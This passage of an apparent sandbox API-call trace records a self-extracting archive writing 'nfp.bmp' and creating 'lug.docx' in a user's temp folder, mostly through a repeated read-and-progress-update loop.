wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] ReadFile (in: hFile=0x1c, lpBuffer=0x270428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270428*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.511] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.511] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.511] GetTickCount () returned 0x1fbea [0068.511] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.511] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1fc, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1fc, lpOverlapped=0x0) returned 1 [0068.512] GetTickCount () returned 0x1fbea [0068.512] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.512] SetFilePointer (in: hFile=0x1c, lDistanceToMove=874672, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd58b0 [0068.512] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.512] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.512] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.512] CloseHandle (hObject=0x138) returned 1 [0068.513] SetFileAttributesA (lpFileName="nfp.bmp", dwFileAttributes=0x20) returned 1 [0068.513] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd58b0 [0068.514] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.514] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.514] OemToCharA (in: pSrc="lug.docx", pDst=0x179cc0 | out: pDst="lug.docx") returned 1 [0068.514] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="lug.docx", cchCount2=1) returned 1 [0068.514] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="lug.docx", cchCount2=6) returned 1 [0068.514] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="lug.docx", cchCount2=-1) returned 1 [0068.514] SetFilePointer (in: hFile=0x1c, lDistanceToMove=874717, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd58dd [0068.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="lug.docx") returned 9 [0068.514] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.514] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting lug.docx") returned 19 [0068.514] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting lug.docx") returned 1 [0068.514] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.514] OemToCharBuffA (in: lpszSrc="l", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="l") returned 1 [0068.514] CharToOemBuffA (in: lpszSrc="L", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="L") returned 1 [0068.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="lug.docx") returned 9 [0068.514] FindFirstFileW (in: lpFileName="lug.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.515] GetLastError () returned 0x2 [0068.515] GetFileAttributesA (lpFileName="lug.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lug.docx")) returned 0xffffffff [0068.515] CreateFileA (lpFileName="lug.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lug.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.515] GetFileType (hFile=0x138) returned 0x1 [0068.515] SetFilePointer (in: hFile=0x138, lDistanceToMove=547, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x223 [0068.515] SetEndOfFile (hFile=0x138) returned 1 [0068.515] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.515] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c1, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c1, lpOverlapped=0x0) returned 1 [0068.515] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.515] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.515] GetTickCount () returned 0x1fbea [0068.515] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.515] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.515] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.515] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.515] GetTickCount () returned 0x1fbea [0068.515] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.515] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.515] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.515] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.515] GetTickCount () returned 0x1fbea [0068.515] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.516] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.516] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.516] GetTickCount () returned 0x1fbea [0068.516] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.516] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbea [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.517] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.517] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.517] GetTickCount () returned 0x1fbfa [0068.517] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.517] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.518] GetTickCount () returned 0x1fbfa [0068.518] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.518] ReadFile (in: hFile=0x1c, lpBuffer=0x270449, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270449*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.518] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.518] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, 